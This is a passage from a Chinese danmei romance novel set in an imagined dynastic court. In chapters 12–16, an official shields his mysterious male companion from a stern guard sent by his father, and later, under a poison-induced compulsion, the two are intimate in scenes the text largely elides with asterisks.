男子有些怔愣地抬起头,滞后片刻才答,“不曾。但父亲曾为我带回丰隆汇的牛肉条,吉祥铺子的炒米,还有念安堂的豆粉糍粑……这些,我都很爱吃。”
梁蕴品在脑中迅速过了一遍京城名小吃,确认对上了之后轻哂,“你怎么像个孩子,竟爱吃些零嘴的小玩意儿。”
“在汴都时,我本就是个孩子。”
他嘴角漾起一个怀念的笑,梁蕴品直到这时才发现——这人右颊有个很浅很浅的梨涡,非得笑到极致才能看见。
“那宣州呢,在宣州住的时日,喜欢吃些什么?”
梁蕴品若无其事地夹了块肘子放到他碗里,“等哪日一心到宣州办差事,可以让他带点你爱吃的回来。”
“宣州……宣州菜很好,但我最爱吃的,还是我娘做的松鼠鳜鱼,还有桂花藕粉打糕。”
男子的笑容逐渐敛了些,似乎才意识到自己再也吃不到了,眼神暗了下来,又想起梁蕴品的问题还未回答,于是努力撑起一个勉强的笑,“屏松楼的手艺最接近我娘,但有些菜式不及我娘做得美味。”
“好,那改日便把厨子接回来,安置在你的小厨房里,你想吃什么便让他做。”
梁蕴品说得稀松平常,似乎暂时忘却了自己的六品官之位,没财力也没权利挖来一方大厨,男子也似乎没意识到这点纰漏,他抬起眼看向梁蕴品,眼神有些惊愕,却亮晶晶的。
像极了梁蕴品在城南见过的,刚出生一月有余的小狗。
“大人,”男子突然道,“祁璐虽亲缘惨淡,命比纸薄,但此生最大的幸运便是遇见了您。”
梁蕴品停下著,顺着男子炽烈的目光回望过去,良顷一勾嘴角,“可我到底不曾为你做到些什么。”
“你若觉得这片屋檐安全,便长久地住下,从此我的府卫也是你的府卫,那群恶人不敢找上门来。”
梁蕴品掏出手绢,拭去嘴角的脏污,绣着剑兰的一角从指缝间垂下来,犹如图穷匕见。
“所以……能否告诉我,那群夺走你家产的亲戚姓甚名谁,家住何方?”
梁蕴品冲男子淡淡一笑,将手绢置于冰凉的石台上,“权当是我的私心,想找出他们的破绽,为你讨回公道,可否?”
男子呆愣片刻,而后眨了眨眼,笑容逐渐淡去。
他倔强地抿直了唇,
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垂下眸不与梁蕴品对视,微微颤动的喉结却出卖了他的心虚。
“还是如此维护那群薄情寡义的亲戚啊……”梁蕴品很轻地笑了笑,心头莫名略过一抹苦涩。
他偏过头,自顾自又斟了杯酒,一饮而尽,很长地吁了口气, “罢了,知你心软,此事我不会再提。只是你父母如今葬于何处?家族可有祠堂或祖坟?来年他们祭日到来之际……我总得陪你回去,祭拜一遭。”
男子倏地抬起头,怔怔地看着梁蕴品,讶异的眼神在酒气熏染下,蒙上了一层洁白而莹亮的雾凇。
他嘴唇微动,似乎有什么话就要脱口而出。
“我……”
“少爷!”
一心和阿生同时出声,急促的叫唤打断了即将宣之于口的秘密。
梁蕴品眸色一凛,不耐烦地回过头,只见一心和阿生从小厨房双双钻了出来,颇有默契地停在盈蕖馆门前,一左一右而立,警惕地看向院外的林荫小道。
“有一队人,大概七八个,正朝盈蕖馆赶过来。”一心死死盯着西南方向,皱眉道。
“听得出来人的目的么?”梁蕴品脸上的不耐化为严肃,起身问道。
若是碎步急行,风驰电掣,多半是高手闯入,那便无谓挣扎,以最快时间躲入暗道逃脱方为上计;但若是大步朝前,不偏不倚,不是官府中人也是绿林好汉,来意不一定善,但好歹有周旋的可能。
“大步。”阿生动了动耳朵,修正了来人的数目,“八人,其中一人脚步虚浮,完全不会武功。”
一心点点头,又挑起一边眉,促狭地瞥了阿生一眼,“啧啧,看来是有点功夫在身上的~我就说我抢不到你手里的荷花酥必有缘由,府里的老高和小朱还笑话,非说我中了美人计。”
阿生瞪了一心一眼,没搭话,余光却见陆宛也晃晃悠悠站了起来,几乎没怎么思考便挡到了梁蕴品面前。
“你……”梁蕴品瞧见自己身前贸然出现一个伶仃的身形,一时百般滋味涌上心头,“你该到我身后去,这不是你能应付的。”
“不要。”
男子偏了偏头,叫梁蕴品瞧见他微红的脸颊,以及比寻常更为执拗的平直的唇。
“……”
阿生远远地瞧见这一幕,不敢对主子们生气,于是又瞪了一心一眼,“待会儿各护其主,你应该能做到吧。”
“嘁……你待会儿就站小爷我后面,别吭声也别冒头,知道了吗?”
一心朝阿生狡黠地眨了眨眼,压低声音道,“平日里都让着你呢,一会儿叫你见见我真正的实力~”
-
雨打芭蕉的声音又急促了起来,但很快被渐行渐近的脚步声掩过。
一行人迈着步子在小竹林中穿梭,为首的是个独眼儿,一袭苍色的马甲利落地束于腰间,他暴露在外的皮肤黑黢黢的,全是风餐露宿留下的痕迹,那张国字脸长得却端正,仿佛浑身煞气都凝聚在那一只残留的吊梢眼中。
四名身着黑衣的男子紧随其后,一旁还跟着个吭哧吭哧小跑的王海,以及两名跟在他身后,亦步亦趋护着他的府卫。
“沙卓兄弟,前面就是盈渠馆了。”
“劳烦王管家。”
名为沙卓的领头人神情冷漠,客套话叫他说出了审问的感觉,“您方才说盈渠馆中住着大人唯一的外室,可曾考究过来路是否清白?”
“这……沙卓兄弟此言未免僭越了,大人带回来的人,咱们做奴仆的怎敢置喙?”
“那便是没有。”
沙卓穿过竹林,在离盈渠馆不到三丈的地方停了下来,与院门那两双戒备的眼睛对上。
“梁大相公吩咐过,除梁府带出的家生奴仆以外,通判府中无论主子仆人,皆需一一盘查,甄别来路,肃清身世,来路不明或身世作假者,通通赶出通判府,永不录用。”
沙卓声音不大,却雄浑而富有穿透力,他看似在回应王海,实则却将他的身份和来意简明扼要地公之于众。
“我等乃大相公亲点的一等府卫,奉命随侍大人左右,护大人周全。盘查之事,将由我等全权负责,任何人不得干涉。”
12. 12.忠仆
“盘查之事,将由我等全权负责,任何人不得干涉。”
此话一出,阿生顿时绷直了后背,眼中透出戒备的光。
一心则漫不经心地将手伸向腰间的剑鞘,同梁蕴品隔空通气,“大人,是二少爷信中提到的护卫到了。”
梁蕴品脸色一黑,“护卫?呵,未经禀报径直入后院,这派头比我都大,我怎敢让他们来护我。”
“是啊,”一心将手覆在剑柄上,并不急着抽出来,“为首的还大言不惭地放话,说是奉大相公之命,彻查通判府,要将来路不清的人通通赶出去,呵。”
梁蕴品一怔,下意识将倔强地挡在他身前的男子生硬地拽到身后,沉着脸问,“这是父亲交代的任务?”
“不知是真是——”
“属下沙卓,见过大人。”
“操!”
一道黑影自盈蕖馆的围墙上一跃而过,在雨幕中划出一道银白色的痕迹,如蜻蜓点水般轻盈落地。
与此同时,一心爆出一句粗口,迅速拔剑闪身至落芙亭前,拦在那道黑影与梁蕴品中间,怒目圆瞠,“谁他妈让你翻进来的!信不信老子一剑杀了你!”
那道黑影正是沙卓,他平静地瞥了一心一眼,也不反驳,从善如流地单膝跪下,面朝梁蕴品拱手一礼,“属下冒犯了。只是门口二位高手看似对属下充满敌意,属下不愿引起不必要的冲突,故而另辟蹊径,还望大人海涵。”
“不必要的冲突?”
一心不用回头,也知道自家主子气得胸闷,顿时沉着脸握剑向前,剑尖差一毫便能抵住沙卓的前胸,“怎么,你另辟蹊径就不会引起冲突了?要见大人先过我这关,没人给你立过规矩吗,啊?”
沙卓抬眼看向一心,“我只知自己是大相公任命的一等府卫,与一心兄弟平起平坐。我要见大人,没有非要经过你的道理。”
“你他妈——”
“那我若是不想见你呢?”
梁蕴品适时开了口,语气比电闪雷鸣前的浓云还沉重,引得沙卓与一心同时朝落芙亭看去。
梁蕴品依旧岿然不动地站在落芙亭亭心,夹杂细雨的微风掠起了他的衣袍,隐约现出后面兰姿玉骨的身影。在他们身前一步左右,阿生正满脸怒容地瞪着沙卓,一心心中莫名一咯噔——这人什么时候飞过去的,怎么连自己都没察觉?
“你说你是父亲派来护我的人,可甫一进府便闹出这番阵仗,未经通传擅闯后院不止,还翻墙入我外室之别院。”
梁蕴品冷冷一笑,十分难得地刻薄了一句,“父亲手下若养了你这等人才,右相之位何尝不愁拱手让贤。”
“……属下知错。”
沙卓的脸色顿时变得凝重,颔首道,“只是属下刚入襄州城,便听得坊间传闻,说大人纳了一房外室,还是个来路不清的男子。属下惦记着您的安危,又怕夜长梦多让可疑之人逃脱,一时心急便闯了进来。”
“呵,可疑之人……”梁蕴品还没说话,身前的阿生却忍不住了,握拳的手指捏得咯吱作响,“这位兄弟不妨把话说开,我家少爷到底哪里存疑?若他真要对大人下死手,哪里还等得到你来保护?”
“来路不明,便是可疑。”
沙卓平静地与阿生对视一眼,对他的后半句避而不答,又将目光转向梁蕴品,“请大人允我即刻开始盘查,以尽早清除隐患,保证大人的安全。”
“……”
梁蕴品垂眸看着那油盐不进的独眼狼,刀削般的面容在被风雨吹打得歪歪斜斜的灯笼映照下,变得忽明忽暗。
半晌,他从唇缝间挤出一句话,“沙卓,你说你是我父亲的人,手中可有信物为证?”
“有有有,信物在此,请大人过目……”
王海在剑拔弩张中突兀地跑进来,将一封书信颤巍巍呈到梁蕴品手中,上气不接下气道,“大人,老奴查了三遍,这信封上的笔迹与私印确确实实是大相公的,因此才开了门放他们进来。殊不知这位沙兄弟跟阎罗似的,一进门便要找您,老奴说您和祁公子正在用饭,叫他在书房外侯着,他一听便冷了脸,非要老奴引他过来……”
“嗯,知道了。王叔没做错什么,下去歇息吧。”
梁蕴品随意地瞟了眼信封,拆出一张纸抖开,粗略地看了眼,面无表情地垂下了手。
沙卓,确实是父亲派来的,命令,也确是父亲下达的。
但却与他心中所想不太一样。
在听到“彻查可疑之人”的瞬间,他几乎认定父亲已经知道他中毒一事,甚至连那夜湖州发生的一切与祁璐的入府缘由都探听得一清二楚。
殊不知父亲只是预感到天旨一旦泄露,明枪暗箭皆会蠢蠢欲动,届时若有人里应外合,梁蕴品的命便如砧板上的肉,危在旦夕。
因而他未雨绸缪,将一直养在乡下庄子里的暗卫拆成四拨,护在四个儿子左右,沙卓便是其中的佼佼者。
他将沙卓指派给梁蕴品,一则因他功夫高强,能护只身在外的梁蕴品周全,二则因他铁面无私却心细如尘,能及时发现危险的苗头,又能滤清梁蕴品身边的可疑之人,助他将通判府塑造成一个坚固无比的铁桶。
可梁相千算万算,算漏了大儿子在后院,心甘情愿养着一个“可疑之人”。
王海走后,梁蕴品又沉默了许久,久到一心和沙卓全身都被雨点打湿,沙卓跪在地上那条腿,也泡在一道浅浅的水坑中,整条裤筒都变为深色。
“大人。”
一个温柔的声音自梁蕴品身后响起,“大人是在为我的事感到为难吗?”
梁蕴品一阵恍惚,只感觉一只冰凉瘦弱的手怯怯地钻进自己手心,很轻地握了握。
“沙卓兄弟若是不待见我,我便自请出府吧。”陆宛自梁蕴品身后绕到身前,泛红的双颊和迷蒙的眼神宣告着他仍未消除的酒意,他晃了晃梁蕴品的手,露出少有的娇嗔的情态,“大人莫要为了我,同出生入死的弟兄们生疏了。”
沙卓一听便皱起了眉,顾不得以下犯上,他抬起头驳斥道,“祁小爷误会了,属下并非不待见祁小爷,只想请祁小爷和随侍到府中暗室走一遭,待我问清情况,查明来路,自会……”
“够了!”
梁蕴品手指一紧,猛地将眼前人的手掌锁住,顺势将人拉进自己的怀中,单手扣住他盈盈一握的腰。
“你还要把他关进暗室审问?你有几个胆子,敢碰我后院的人!”
梁蕴品横眉立目,看向沙卓的眼神中透出一股浓浓的嫌恶,“沙卓,父亲既将你给了我,你从此便是我手下的人。我今日倒要问问你
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,若我执意不让你查祁璐和阿生,你当如何?是要因着我父亲的命令,当场忤逆我么?”
“……属下不敢!”
沙卓一抱拳,垂首压颈做出诚恳的姿态劝诫梁蕴品,“但请大人三思,祁小爷此话,分明是想借离府逃避其身世的追查,用心可见一斑!况且属下认为,祁小爷方才……离间之意甚笃,就是要挑起属下与大人之间的矛盾,望大人……”
“我说了无数遍,别再叫他祁小爷!”
梁蕴品只觉得额角的青筋跳了又跳,许久未曾升腾过的火气一股一股窜上心头,“他是误解了,可他吃醉了酒你也不是看不见,何以要用如此尖锐之辞揣度于他?”
沙卓一怔,抬起头打量了陆宛数眼,又冲梁蕴品垂眸拱手,“大人明察!祁……祁公子他眼神虽木,肢体却十分协调,不似醉酒之意,属下……”
“够了!”梁蕴品第二次说出这两个字,语气已从怒极转为凛冽,活脱脱一梭冰凌子砸入沙卓耳中。
“我再问你一次,若我不肯,你今日是不是非带走他不可?”
“请,大人,三思!”
沙卓将另一边膝盖重重砸在地面,溅起一捧水花,随即将头猛地磕了下去。
那拨由沙卓带来的,一直守在院门处的四名府卫,见状也小跑向前,追随沙卓一同跪倒在雨里,发出了振聋发聩的劝告——“请大人三思!”
“你们——”
梁蕴品察觉出怀中人的哆嗦,紧了紧手臂,看着跪了一地的暗卫怒不可遏,竟一时说不出话来。
一心将剑横于身前,被雨水泡红的眼渗出张扬的怒气,冷笑数声,“沙卓兄弟,看来你这个一等府卫当得徒有其表啊……居然敢光明正大地要挟主子!怎么,你是连‘忠心’二字怎么写都拎不清么!”
“忠言逆耳,亦是忠!”
沙卓保持五体投地的姿势,冷冰冰道,“大相公曾嘱咐过,府内若有愚忠之人,亦不可长久地伴在大人身侧。若不能时时警示大人,这样的忠仆要再多又有何用?”
“你!”
一心气得快要跳脚,身后的梁蕴品却倏地一笑。
三两句间,这位来势汹汹的府卫不仅要带走自己的外室,便连一心都容不下了……
父亲怎会看中这样的人?是真的担心自己的安全,要派一位六亲不认的阎王来镇宅,还是觉得自己这些年外派做官,与家中疏远了,急于安插人手为他传递消息?
不,父亲总有千般缺点,却不是这样不敞亮的人……梁蕴品头痛欲裂,脑海却在此刻浮起一个阴暗的念头:万一这人在来的路上被幕后之人发现并买通,那么剪除他的左膀右臂,又何尝不是另一局棋?
一股无声的悲哀自梁蕴品心中缓缓升起,他痛苦地察觉到,自天旨降临伊始,自己便如堕深渊,再也无法相信周遭的任何一个人了。
他闭了闭眼,再睁开时,一股熟悉的混沌感自后脊涌上灵台,迅速抢占了每一处清明的角落。
“你要带走他?”
梁蕴品嘴角一勾,露出一个不属于他的,堪称邪性的笑容。
他忽地矮下身子,将怀中人打横抱了起来,迈着稳重的步伐走下台阶,朝内室沁荷居一步步走了过去。
“那便来我的床上夺人吧。”
13. 13.予取
众目睽睽下,梁蕴品抱着陆宛一脚踹开了沁荷居的雕花木门,信步迈了进去。
仆奴们见状纷纷瞠目结舌,沉默地愣在原地,偌大一个盈蕖馆,一时间只剩房门还在吱呀作响,却在片刻后响起了令人浮想联翩的声音。
一心脸色一变,看着房门大开的景象心道不好,即刻便要行动去赶人,但他还是比阿生慢了一步,只见一个虚影灵巧地从他身旁闪过,挡在了沙卓和他的几个手下身前,将他们的目光生生阻了下来。
“你们几个,不会真的要到大人床榻上去抢人吧?”
阿生眯着眼,玲珑的身躯莫名透出一股煞气,“若你们还把大人当主子,现下便应立即出去,而不是厚着脸皮杵在这,扰了主子们的清净!”
沙卓冷漠地站起身,抬眸与阿生的眼神对上,无动于衷地沉默了片刻,旋即抬起手,令身后众人退下。
“今夜留两人在盈蕖馆外看守,我一人守在院内即可。”
“是!”
“慢着!”
府卫们齐声应下,阿生却急了,凤眼圆睁,眼底掠过一丝凶光。
他将右手缓缓移至腰间,“看来我方才说得不够清楚,我的意思是,你们一个两个通通给我滚出院去,否则……休怪我动手!”
“我不打自己人,但你不算,故而你非要挑衅的话,我便奉陪到底。”
沙卓高出阿生一截,此刻正用那只犀利的独眼自上而下打量着阿生,“你当清楚,我今夜不动你,是因为大人护着你家少爷,我不愿叫大人难办。可你若动手,我便顺势捆了你押到暗室审问。你家少爷在大人的榻上,你可不在。”
“你!”
“哎哎哎哎哎,冷静!都冷静!”
眼见战火一触即发,一心闪身向前,一手压住阿生欲拔武器的手,一手则扣在沙卓的肩膀上。
“你找死呢,他们有五个人!”
一心勾着唇,冲阿生使了个眼色,又拧头看向沙卓,皮笑肉不笑地打了个圆场,“沙卓,你我本无仇,我们没必要闹得那么僵。我也看出来了,你这人没坏心,就是脑子里少了根筋,这根筋叫‘审时度势’,又叫‘见好就收’。”
他冲沁荷居抬了抬下颌,示意沙卓弄清形势,“你瞅瞅,这房门大开的院子,是咱们府卫该待的地方吗?”
“……”
见沙卓不吭声,一心压低嗓门又补了一句,“万一祁公子的身子叫你不小心看去了一星半点……呵,我敢打包票,明日你另一只眼睛,也得下黄泉陪它的兄弟!”
此言一出,沙卓眼中顿时闪过一丝警惕,一心心知他听进去了,勾了勾唇,就坡下驴地圈住沙卓和阿生的脖颈,边往外走边拖拽着他们。
“所以嘛,咱们就都出去候着,隔着一道墙而已,主子有话咱们都能听见,有危险也……”
“我就在院门。”
沙卓身子一矮,轻飘飘地从一心的臂弯中躲了出去,目不斜视朝院门走去,“我需要时刻盯着院内的动静,这是我的职责所在。”
“……啧,行行行,就院门,咱们仨一起守着院门行了吧!哎阿生你别躲我,你让我靠靠怎么了,这天杀的雨下了一夜,快淋死老子了……”
……
屋外吵吵嚷嚷,屋内烛火绰绰。
绣着翠叶与粉荷的屏风后,一双身影密不可分,细看却只有一双脚落在地上。
原是陆宛被梁蕴品面对面抱了起来,玉足一晃一晃的,脚背时而紧绷,时而翘起半分。
陆宛眼底泛红,一层水雾漫了上来,疼痛与快乐在他灵台中彼此叫嚣,叫他几乎无法思考。
到底是如何走到这一步?他明明只想为梁蕴品氵世火,为这个怀疑着自己,又忍不住护在自己身前的正人君子做些什么。
沙卓说得没错,陆宛根本没醉,自始至终清醒着,亦看出了梁蕴品对自己的疑心。他有苦难言,只得借醉挡掉了梁蕴品的试探,又顺水推舟试探了梁蕴品,却没想到他真的为了自己,对沙卓动怒。
是不想迁就沙卓这个刁奴么……还是当真对自己生出了一丝感情?
陆宛暗自欣狂,却不敢深思,只任由梁蕴品将他抱入沁荷居,再轻手轻脚地放置在床榻上。
见梁蕴品扯下衣带,陆宛有些羞涩地别开脸,手指渐渐蜷成一团。
他直觉一片黑影压了下来,叫他呼吸猛
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然一窒,下意识闭上了双眼——却只听到几声从喉间挤出的声响,似阴谷里的山风,粗得叫人毛骨悚然。
迷茫间,两根温热的手指撬开他紧握的手心,将一片布料塞了进来。
是……衣带?
“绑住我,快些。”
梁蕴品的嗓子像被砂纸磨过,低哑得叫人窒息,他不停地喘着粗气,嘴上还不忘提醒陆宛, “然后……你自己叫几声。”
陆宛睁开眼,困惑地看向眼前人,“叫,叫什么……”
“就像清风阁那晚一般……叫!”
梁蕴品狠狠闭了闭眼,脸上渐渐显出隐忍的痛苦,“叫大声些,要让沙卓他们都听见。”
陆宛一怔,彻底明白过来,却惊愕地愣在床上,半晌没有动作。
“快,我坚持不住了,我不想伤害……”
梁蕴品忍得浑身发抖,却被陆宛一把握住了手臂,“大人不氵世出来,恐怕会有伤身子,对吧。”
“是湖州那位大夫告诉你的?” 梁蕴品急促地喘息着,目中露出一丝鄙夷,“他倒是个嘴碎的。”
陆宛摇头苦笑,“是我猜到的。”又抬起潋滟的眸子与梁蕴品对视,恳求道,“大人,让我为您氵世出来吧,若再忍下去,只怕……”
“不,不可……”
梁蕴品混沌的意识中浮现出陆宛破碎的模样,坚定地摇了摇头,“我说了,我带你回来,不是为了叫你暖榻。你快……快将我绑住,照我说的话去做。”
陆宛咬了咬唇,红着眼凝视着梁蕴品,倏忽将手中的衣带向上一抛,衣带中段正正当当挂在了梁蕴品的后颈上。
他双手扯住衣带两头,箍着梁蕴品的脖子轻轻用力,将人一点一点扯了下来,自己则迎上身去,将两瓣唇贴在那冰凉的薄唇之上。
梁蕴品识海忽地一炸,被意志压制的谷欠望不管不顾地窜了上来,他从未试过在清醒时分与陆宛接吻,只隐约记得清风阁那夜,他像只刚出笼的野兽,将人唇瓣啃出了血。
如今两片唇骤然贴在一起,他只觉浑身的力量随之苏醒,理智再也抵挡不住谷欠望的挑唆,于是猛地向前一扑。
【***】
15. 15.落芙
“玉……”
陆宛还未从方才巨大的快乐中走出,此刻竟有些迟钝,直到梁蕴品左顾右盼,从偏厅寻来一个头大身小,用于磨药的玉臼子,他才微微瞪大了眸子。
“这是……”
“没有那个,用这个替代也可。”
【***】
“诶,吃么?”
一心蹲下来,掰了半截馒头递给阿生,“刚刚去后厨偷来的,就剩一个了,咱俩分分?”
“不用。”
阿生盘腿坐在盈渠馆院门边的石墩上,盯着不远处站着闭目养神的沙卓,莫名笑了笑,“就剩一个,你怎不与那位兄弟分分?”
“啧,瞧你说的,”一心两口吃掉属于自己的半个馒头,又把剩下的塞到阿生手里,鼓着腮帮子道,“我还能亲疏不分么?”
“嘁——”
阿生嗤笑一声,还是将馒头送到嘴边,刚咬下第一口,耳朵便动了动。
与此同时,沙卓也睁开了那只独眼,有些困惑地偏过头,从侧后方睨向那扇并未阖上的房门。
可他只来得及瞥一眼,视线便被闪现至他身前的阿生挡住了。
阿生警惕地盯着他,“你也听到了吧。”
“嗯。”
“听到了还不主动退避,还往里看?”
沙卓一顿,“我方才说了,我就在此处,哪里也不去。”
“荒唐!”阿生怒气“蹭”一下冒了起来,一双丹凤眼瞪得老大,“主子们的事,岂是你这双卑贱的眼睛能看的?”
言罢突然意识到不对,却气上心头,不管不顾地挖苦道,“哦,我忘了,你就一只眼睛,还不好好珍惜……是不是要我亲手将它挖出来,同另一只双宿双栖?!”
“?”
这刁奴同一心什么关系,连威胁人的话都一模一样?
还没等沙卓开口,一心紧赶慢赶凑了过来,手里还捏着阿生放在石墩上的半个馒头,他抬起另一只手按住阿生的肩,眼睛却盯着沙卓,露出了歉意的神情。
“那什么,沙卓兄弟,您大人有大量,方才的话千万别往心里去哈~”
阿生听他低声下气又要炸毛,却被他死死按住,“阿生说话是不过脑子,侮辱了你,我替他说声抱歉~但这事是你不对在先,也不能怪他生气,你说对吧?”
“……我不曾做错什么。”
沙卓声音冷淡,脸上却不显怒气,仿佛被践踏尊严只是无关紧要的小事,守住这个院门才是重中之重。
“你没错吗?”
一心无奈一哂,摇了摇头,“你呀,还是不开窍……你没听见主子们要到院子里寻刺激么?你见过哪个仆奴能活着站到主子们身前,光明正大地观摩他们的x事?”
沙卓目光一闪,似乎被一心直白的形容镇住些许,抿了抿唇,一心知道他需要些时间琢磨利弊,偏过头冲阿生低声吼了句,“你怎么跑得跟兔子似的?馒头都不要了!”
“祖宗,我怕了你了,下次我来跟他说行么?你别硬碰硬!”
“……哼!”
阿生叉起手,撇开脸看向别处,他也知道自己脾气不佳,却不想轻易在一心面前认下,像欠了他多大情似的。
可这一瞥却叫他心下一沉——他仿佛看见一只脚迈出房门,下一秒,一片白得透明的肌肤,晃晃悠悠地自门缝间透了出来。
不好,来不及了。
沙卓还在一心的絮叨中兀自思考,下一瞬却身子一轻——一股强大的内劲将他拔地而起,沙卓反应不及,竟被这股劲硬生生拖出了五丈地!
“什么人!”
沙卓甫一站定,手一拨身一转,拉开距离同时亮出藏于身后的两把弯刀,他身侧的一心也做出防备的姿态,短剑堪堪出鞘一寸,却被他的主人死死握住,无法再抽出半分。
一心眼睛发直,有些怔愣地看着眼前熟悉又陌生的人,嘴巴几乎张成了一个圆。
他知晓阿生同他一样自幼习武,身上的功夫都是童子功,轻易小觑不得,却对他强悍的内劲与迅疾的步移之力始料未及。
一个身形瘦削,身高不足五尺的男子,竟能在两个高大的练家子面前耀武扬威,肆意挪动他们的身体,还拽了这么长一段距离……
天下武功,唯快不破。一心暗忖:阿生的轻功,怕已达登峰造极之境。
“是你?”沙卓心中并无弯弯绕绕,他眸色如霜,将冰冷的刀尖对准阿生,淡淡开口,“若要打,便光明正大的打,将我等挟来此处是什么意思?”
“啧,你这人真有意思,他什么时候说过要跟你打?”
见沙卓要动手,一心挥去心中杂念,下意识抬手压住沙卓的右臂,恨铁不成钢地看着他,“你用脚趾头
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想都知道,再不走,咱们就要排排站一起看主子们的chun宫了!阿生拽走咱们是让咱们避开呢,你是猪脑子吗?”
“你看到我家少爷了?”
还没等沙卓回话,阿生便先一步上前拽住一心的袖口,激动地晃了晃。一心只觉心累,反手握住阿生的腕,“怎么可能,看到了我就该自掘双目了!我只是合理推……靠,你怎么了!”
一阵强风呼啸而过,竹叶摇曳,阿生身形随之晃了晃,竟径直跪了下去。
“阿生!”
一心一把拍下沙卓的手臂,慌忙矮下身躯拉住阿生,将人接进自己的怀抱。只见阿生面色如纸,嘴角慢慢渗出一道血痕,看着便是不好了。
“阿生,阿生!”
一心目眦欲裂,盯着那抹血迹慌了神,“来人啊,叫府医过来!”
“没事,别喊人……少爷,少爷还在里面……”
阿生声如细丝,靠在一心怀中半晌才缓过来,有气没力地解释道,“我……我根底不好,方才一时情急,催动内劲拉你们,又以为你窥了我家少爷的身子,气血攻心……”
“你急什么啊!不都是男人么,难道你家少爷就这么见不得光?”
一心想起上次在清风阁,也是阿生千挠万阻不让他进房,心中升起一丝狐疑,嘴上却没止住唠叨,“况且你拎不动俩人你就拎他一个啊,你俩都走了,我还能留在那吗?”
“咳咳咳,我——”
“你别说话了!”一心看着阿生憔悴的脸就不爽,抬眼看向沙卓时莫名带了一丝埋怨,语气顿时凌厉起来,“沙卓,你也看见了,阿生是个为主子上刀山下火海的,我信你也是。”
“但主子们分明没有危险,咱们却在窝里横,传出去实在是贻笑大方。”
一心极少这样板着脸,毫不避讳自己作为武者的煞气,“若你仍执着己见,偏要去毁了祁公子的声誉……那也别怪我不客气了。”
“……”
沙卓早已收起弯刀,看着一心前一瞬还在同他叫嚣,后一瞬却掏出随身带的皮水壶,拔开木塞,将壶口温柔地送到阿生嘴边,眼底现出一丝复杂。
斜风细雨不断,三人就这么僵持着,直到耳畔传来水花碰撞的声音与若有似无的叫唤,沙卓面色一沉,飞身而上,背对着盈蕖馆倚在一根粗大的竹竿上,缓缓闭上了那只独眼。
16. 16.濯莲
…………【***】…………
盈蕖馆中再无谈话声,涟漪短暂地停下,又很快荡漾开去。
不知过了多久,梁蕴品浑身一颤后发出一声低吼,灵台的迷雾骤然一扫而空,理智和浑身上下的疲惫同时翻了上来。
他浑身一紧,惊觉自己趴在一片滚烫柔软的胸膛前,连忙撑起身查看——果不其然,是他。
梁蕴品眸色一沉,连忙察看那人的状态,只见他上半身趴伏在岸边,已然昏了过去。
“祁公子……祁璐?”
见叫人不应,梁蕴品霎时青筋一跳,连忙用池水草草为他冲洗一下,又将人托到岸上,自己也翻了上去。
“嘶——”
四肢着地,梁蕴品顿觉眼前一黑,浑身像灌了铅一般沉重,疼痛感后知后觉地侵入他的经脉,叫他一时间什么也干不了,只能呆坐在濯莲池旁休养生息。
他低低地喘着气,记忆比料想中恢复得更快,他想起那些令人面红耳赤的话,想起他不管不顾地用了玉臼,想起了最后一抹笑,还有那个熟悉的,令人回味无穷的眼神。
仿佛上一回,他应承自己做坏事时,也露出过那样温柔纵容的眼神。
他从未见过,所以一眼难忘。
他垂下头,看着濯莲池中自己卑鄙的嘴脸,自厌感再度充斥着他的思绪,直叫他胸膛一阵阵发闷。
他明明只想将他带回来好好查一查……若与幕后之人有关,便顺藤摸瓜,抽丝剥茧;若无关,便将他娇养在府中,也算是报答他对自己的一夜骄纵之恩。
可如今,欠他的怎么越来越多了……
“为什么……”
梁蕴品冷漠地盯着池中扭曲的影子,忽而开了口,自言自语道。
“我梁蕴品,自开蒙后日日克己复礼,勤学修身,没有一日卸下振兴家国之大任,忘却梁氏一族之荣宠,辜负祖祖辈辈之寄望。”
“为什么……为什么老天要如此待我……”
“啪嗒”一声,一颗泪珠落入水中,将梁蕴品的自嘲与控诉通通没入濯莲池里。
清醒犹如一头猛兽,将种种烦心事赶上他心头,叫他孤单的脊梁倏忽再也撑不下去。
潜逃的一辉,软硬不吃的沙卓,那布下棋局的幕后黑手,还有那高高在上,庸碌无为却善弄帝王权术的官家……一个个将他赶上绝路的人走马灯似的盘桓在他心间,梁蕴品只觉自己心口堵着千斤重铁,铁锈味伴着血腥味一股脑儿冲上嗓子眼,直叫他恶心得想吐,却怎么也吐不出来。
什么是忠,什么是奸?他莅任襄州通判,为民生操劳不曾睡过一个好觉,他父亲和祖辈更是为大邹穷尽一生心血……
可天大的灾还是降了下来,将梁家的血脉与他李氏的根基紧紧绑在一起,一下绝了他们梁家的后!而他自己也被下了毒,成了这副半死不活的鬼样子,只能靠欺负一个孤子发泄欲求,仓皇度日。
呵,荒唐……实在是荒唐至极!
梁蕴品忽然猛地一拍水面,水花四溅,几支荷杆被他拍折,顺着池水自流的方向,晃晃悠悠地荡开了去。
可梁蕴品却被拢住了。
一双白玉似的手臂自身后缓缓环住他的腰,滚烫的皮肤贴了上来,那张他闭着眼都能描摹的,仙风道骨的侧脸贴住他脊背正中,温柔地蹭了蹭。
“大人怎地恼了……”
梁蕴品身上一僵,那人的手臂亦是一顿,仿佛敏感地察觉出他已然清醒,却仍未松手,静静地卧在他背上。
沉默片刻,他问,“大人是在自责么?”
“别自责。”他话中似有笑意,“一切都是我自愿的……我很欢喜。”
梁蕴品不知怎地眼底一红,方才堪堪止住的泪水在这两句话的刺激下,又有了泄洪的迹象。
“我……我身上的药性未除,此事不该瞒你。”梁蕴品垂下眼,闷闷道,“当初允你入府,未曾料及会有如此失控的时候,白白叫你承受这样的折辱,是我之过。”
“怎会是折辱?”
陆宛说着,又紧了紧抱住梁蕴品的手,淡笑道,“无论梁大哥生了什么病,变成什么模样……”
“我都会永远……永远陪着您。”
-
翌日,细雨渐歇,拨云见日。
陆宛被窗外一缕阳光刺醒,迷迷糊糊地睁开了眼,发觉自己不知何时已回到房中,正清清爽爽地侧卧于床上,腰间搭着梁蕴品的手臂,一如寻常夫妻,同榻而眠。
陆宛嘴角勾起一个弧度,正想起身,余光却瞥见梁蕴品支起身子,微露青茬的下巴就悬在他脸上,他一手搭着陆宛,另一只手还勾着他的一缕长发,在指尖绕了又绕,目光微深,不知在想些什么。
陆宛心中一颤,顿时不敢再动作,只呆呆地目视前方,还是梁蕴品意识到身边人微微急促的呼吸,率先开了口,“醒了?”
“……嗯。”
“还在发热么?”梁蕴品顿了顿,“昨夜你说着话便晕过去了,我抱你回房时没寻着热水,又寻不到阿生和一心,只得就着盆中凉水草草为你擦身。”
